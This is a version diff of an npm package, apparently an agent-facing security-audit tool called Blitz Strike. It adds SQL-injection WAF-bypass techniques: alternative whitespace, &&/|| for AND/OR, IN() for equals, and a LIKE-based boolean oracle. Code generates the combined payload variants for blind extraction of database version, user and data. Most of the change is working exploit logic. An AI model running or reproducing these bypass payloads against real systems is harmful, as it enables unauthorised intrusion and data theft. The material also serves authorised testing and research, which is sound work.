blitzstrike 2.4.165 → 2.4.166

package/CHANGELOG.md

@@ -5,6 +5,21 @@ All notable changes to Blitz Strike are documented here.
 The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/).
 
+## [2.4.166] — 2026-10-11
+
+### Added — expanded WAF-bypass techniques (sqlmap + PayloadsAllTheThings)
+
+- New bypass dimensions beyond space/comment/case, sourced from sqlmap's 66 tamper
+  scripts + PayloadsAllTheThings/OWASP:
+  - Whitespace: LF `%0A` + CR `%0D` (MySQL 5 accepts 09/0A/0B/0C/0D/A0/20).
+  - symbolic-logical: `AND`→`&&`, `OR`→`||` (bypasses case-insensitive keyword filters).
+  - equaltolike: `=`→`IN ('x')` — exact, no `LIKE` wildcard (`_`/`%`) false-positives
+    and no `AND` keyword (BETWEEN would collide with `&&`).
+  - LIKE-based boolean oracle (`'a' LIKE 'a` vs `'a' LIKE 'b`) for `=`-filtered targets.
+- Combined variants for stacked WAFs (e.g. LF + `&&` + `IN` + `#` comment).
+- Verified on a new lab level 6 (blocks space+tab+`/* */`+`=`+`and`/`or`
+  case-insensitively): confirm + extract version/database/user/flag all correct.
+
 ## [2.4.165] — 2026-10-11
 
 ### Added — combined WAF-bypass for stacked filters (blind SQLi)

package/dist/index.js

@@ -62472,13 +62472,17 @@ function oracleBypassVariants(base) {
   const dash = body;
   const hash = body.replace(/-- -$/, "#").replace(/--$/, "#");
   const bal = body.replace(/(\d)=(\d)-- -/, "'$1'='$2");
+  const likeBool = body.replace(/(\d)=(\d)-- -/, (_, a, b) => a === b ? "'a' LIKE 'a" : "'a' LIKE 'b");
   const cs = (s) => s.replace(/AND/g, "aNd").replace(/OR/g, "oR").replace(/IF/g, "iF").replace(/SLEEP/g, "sLeEp");
+  const sym = (s) => s.replace(/AND/g, "&&").replace(/OR/g, "||");
   const sp = (s, x) => x === " " ? s : s.replace(/ /g, x);
   const out = [];
-  for (const cmt of [dash, hash, bal]) {
-    for (const x of [" ", "/**/", "\t"]) {
+  for (const cmt of [dash, hash, bal, likeBool]) {
+    for (const x of [" ", "/**/", "\t", `
+`, "\r"]) {
       out.push(`'${sp(cmt, x)}`);
       out.push(`'${sp(cs(cmt), x)}`);
+      out.push(`'${sp(sym(cmt), x)}`);
     }
   }
   out.push(`"${dash}`, dash, `')${dash}`, `")${dash}`, `"${hash}`, `')${hash}`, `")${hash}`);
@@ -62494,26 +62498,45 @@ function extractBypassVariants(tpl) {
     const dash = base;
     const hash = base.replace(/-- -$/, "#").replace(/--$/, "#");
     const bal = base.replace(/'(-- -|--)$/, "");
+    const like = base.replace(/='\{char\}'/, "IN ('{char}')");
+    const likeHash = like.replace(/-- -$/, "#").replace(/--$/, "#");
     const combos = [
-      [dash, " ", false],
-      [hash, " ", false],
-      [dash, "/**/", false],
-      [dash, " ", true],
-      [bal, " ", false],
-      [hash, "/**/", false],
-      [hash, "/**/", true],
-      [hash, "\t", true],
-      [bal, "\t", true],
-      [bal, "/**/", true]
+      [dash, " ", "none"],
+      [hash, " ", "none"],
+      [dash, "/**/", "none"],
+      [dash, " ", "case"],
+      [bal, " ", "none"],
+      [hash, "/**/", "none"],
+      [hash, "/**/", "case"],
+      [hash, "\t", "case"],
+      [bal, "\t", "case"],
+      [bal, "/**/", "case"],
+      [dash, `
+`, "none"],
+      [hash, `
+`, "case"],
+      [bal, `
+`, "case"],
+      [dash, " ", "sym"],
+      [like, " ", "none"],
+      [like, "/**/", "none"],
+      [likeHash, `
+`, "sym"],
+      [likeHash, "\t", "sym"],
+      [like, `
+`, "sym"],
+      [likeHash, " ", "sym"]
     ];
-    for (const [cmt, s, swap] of combos) {
+    for (const [cmt, s, mode] of combos) {
       let b = cmt;
-      if (swap)
+      if (mode === "case")
         b = b.replace(fn, fns[1]).replace(/AND/g, "aNd");
+      else if (mode === "sym")
+        b = b.replace(/AND/g, "&&").replace(/OR/g, "||");
       if (s === "/**/")
         b = b.replace(/ /g, "/**/");
-      else if (s === "\t")
-        b = b.replace(/ /g, "\t");
+      else if (s !== " ")
+        b = b.replace(/ /g, s);
       out.push(b);
     }
   }
@@ -62695,7 +62718,9 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
   const bsCharset = caseInsensitive ? "0123456789abcdefghijklmnopqrstuvwxyz" : "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
   const baseTpl = (channel === "time" ? p.extraction.time : p.extraction.boolean).replace(/^'/, ctx);
   const render = (tpl, pos, ch) => {
-    const spaceStyle = tpl.includes("\t") ? "\t" : tpl.includes("/**/") ? "/**/" : " ";
+    const spaceStyle = tpl.includes("\t") ? "\t" : tpl.includes(`
+`) ? `
+` : tpl.includes("\r") ? "\r" : tpl.includes("/**/") ? "/**/" : " ";
     const q = spaceStyle === " " ? queryExpr : queryExpr.replace(/ /g, spaceStyle);
     return `${value}${tpl.replace(/\{query\}/g, q).replace(/\{pos\}/g, String(pos)).replace(/\{char\}/g, ch).replace(/\{sec\}/g, "1")}`;
   };

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "blitzstrike",
-  "version": "2.4.165",
+  "version": "2.4.166",
   "description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
   "type": "module",
   "bin": {